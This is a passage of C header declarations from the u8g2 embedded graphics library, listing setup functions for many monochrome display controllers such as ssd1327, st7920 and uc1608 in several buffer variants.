u8g2_Setup_ssd1326_i2c_er_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_ws_96x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_ws_96x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_ws_96x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_ws_96x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_ws_96x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_ws_96x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_ea_w128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_midas_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_zjy_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_ws_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_ea_w128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_midas_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_zjy_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_ws_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_ea_w128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_midas_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_zjy_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_ws_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_ea_w128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_midas_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_ws_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_ea_w128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_midas_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_ws_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_ea_w128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_midas_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_ws_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_visionox_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_visionox_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_visionox_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_visionox_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_visionox_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1327_i2c_visionox_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1329_128x96_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1329_128x96_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1329_128x96_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1329_96x96_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1329_96x96_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1329_96x96_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_60x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_60x32_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_60x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_60x32_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_60x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_60x32_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_i2c_60x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_i2c_60x32_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_i2c_60x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_i2c_60x32_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_i2c_60x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_i2c_60x32_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_128x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_128x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_128x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_i2c_128x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_i2c_128x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ld7032_i2c_128x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_144x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_144x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_144x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_144x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_144x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_144x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_144x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_144x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_144x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_192x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_192x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_192x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_192x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_192x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_192x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_192x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_192x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_192x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_p_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_st7920_s_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ls013b7dh03_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ls013b7dh03_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ls013b7dh03_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ls027b7dh01_400x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ls027b7dh01_m0_400x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ls027b7dh01_400x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ls027b7dh01_m0_400x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ls027b7dh01_400x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ls027b7dh01_m0_400x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ls013b7dh05_144x168_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ls013b7dh05_144x168_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ls013b7dh05_144x168_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1701_ea_dogs102_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1701_ea_dogs102_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1701_ea_dogs102_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1701_mini12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1701_mini12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1701_mini12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_pcd8544_84x48_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_pcd8544_84x48_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_pcd8544_84x48_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_pcf8812_96x65_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_pcf8812_96x65_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_pcf8812_96x65_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_hx1230_96x68_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_hx1230_96x68_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_hx1230_96x68_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1604_jlx19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1604_jlx19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1604_jlx19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1604_i2c_jlx19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1604_i2c_jlx19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1604_i2c_jlx19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_erc24064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_dem240064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_erc24064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_dem240064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_erc24064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_dem240064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_i2c_erc24064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_i2c_dem240064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_i2c_erc24064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_i2c_dem240064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_i2c_erc24064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_i2c_dem240064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_erc240120_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_erc240120_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_erc240120_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_i2c_erc240120_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_i2c_erc240120_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_i2c_erc240120_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_i2c_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_i2c_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1608_i2c_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1609_slg19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1609_slg19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_uc1609_slg19264_f(u8g2_t *u8g2, const 